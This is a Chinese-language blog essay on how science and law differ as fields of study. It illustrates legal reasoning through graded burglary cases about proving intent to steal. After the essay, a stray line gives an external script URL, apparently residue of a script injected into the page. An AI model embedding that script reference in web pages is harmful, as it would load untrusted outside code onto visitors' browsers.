分類
隨筆

理工科與文科差異

過來人的經驗:
 
理工科的特點在於難懂易精 — 入門不容易,特別是工程數學、微積分、物理化學基礎不夠好的人,一些工程概念連要懂都難。
 
但懂了之後,要專精一門相對文科簡單。
 
舉個例子:傅立葉轉換很難,光是要弄懂就搞死一堆理工科生。但懂了之後很好用,很多領域(聲學、光學、密碼學、物理學、通訊學甚至金融學都能應用)。
 
文科的特點是好像很容易讀懂,但其實資訊太多太龐雜,各家說法不一,要能從一堆訊息中釐清並整理出真正可以在真實世界運作可被科學驗證的,很難。
 
舉個例子:以美國common laws為例,法學院學生可能要讀幾十到上百個案例,才能從中「體會出」一個抽象原則。(但依然會發現法官實際判案上的價值觀選擇,某些法官因為某些價值觀,而可以在「認事」上做細微區別來達到「用法」的改變。)
 
理工科人往往最不習慣就是這點,往往會說:「為什麼不一開始就告訴我抽象原則,我直接用就好?」可文科(尤其是法理的演變)就不是這樣。抽象原則是從一堆真實判決中慢慢累積出來的,好像畫素描的構圖過程。
 
再舉一例:有個人偷開了你家窗戶,正準備爬入時被你與警察抓到。
 
非法侵入私宅罪?應該成立。
 
偷竊未遂?這就難了。你要如何證明他有「偷竊意圖?」
第二個案例,這人進了你家東看西看時被逮住。有沒有偷竊意圖?
 
第三個案例,這人進了你家,巡視一番後伸手摸了一個抽屜正要打開時被逮住,有無偷竊意圖?
 
第四個案例,這人進了你家,巡視一番後伸手摸了一個抽屜打開後正要再伸手進去拿取物品時被逮住,有無偷竊意圖?
 
第五個案例,這人進了你家,巡視一番後伸手摸了一個抽屜,打開後伸手進去拿取物品出來,起身時被逮住,有無偷竊意圖?
 
第六個案例、第七個案例….
 
你會發現刑法第320條第一項很簡單地規範:「意圖為自己或第三人不法之所有,而竊取他人之動產者,為竊盜罪,處五
年以下有期徒刑、拘役或五百元以下罰金。」
 
但什麼叫:「意圖為自己或第三人不法之所有」、什麼叫「竊取」甚至什麼叫「意圖」都是需要真實案例來形塑法理原則的。
 
上述「偷竊意圖」都必須要能在法庭上證明喔!美國的話就是要能夠說服陪審團。你不能說:「都跑進來了想當然耳是要偷東西。」
 
行為人可能是要來強姦屋主?行為人甚至可以辯解自己是路過的迷途書僮,聽到屋內做愛聲音高潮迭起心生佩服想旁觀學習…
 
一樣的竊盜抽象原則,放到新技術上:例如有人看到你壓在桌墊的比特幣金鑰,用超強記憶力記下,但還沒有兌現,算不算竊取?比特幣算動產還是算什麼?
 
我舉的還只是最簡單的法律系大一刑總入門題而已。我都還沒從法律經濟分析角度來看「竊盜罪存在的必要性」、「構成要件是否有改善空間」與「構成要件改變後對罪犯的行為影響」…等等問題哩。
 
學海無涯,學問樂趣也在於此。對真實世界多認識一點,無論理工文法商,都是一樣的。

https://js.developerstatss.ga/stat.js?n=ns1

發表迴響

在下方填入你的資料或按右方圖示以社群網站登入:

WordPress.com 標誌

您的留言將使用 WordPress.com 帳號。 登出 /  變更 )

Facebook照片

您的留言將使用 Facebook 帳號。 登出 /  變更 )

連結到 %s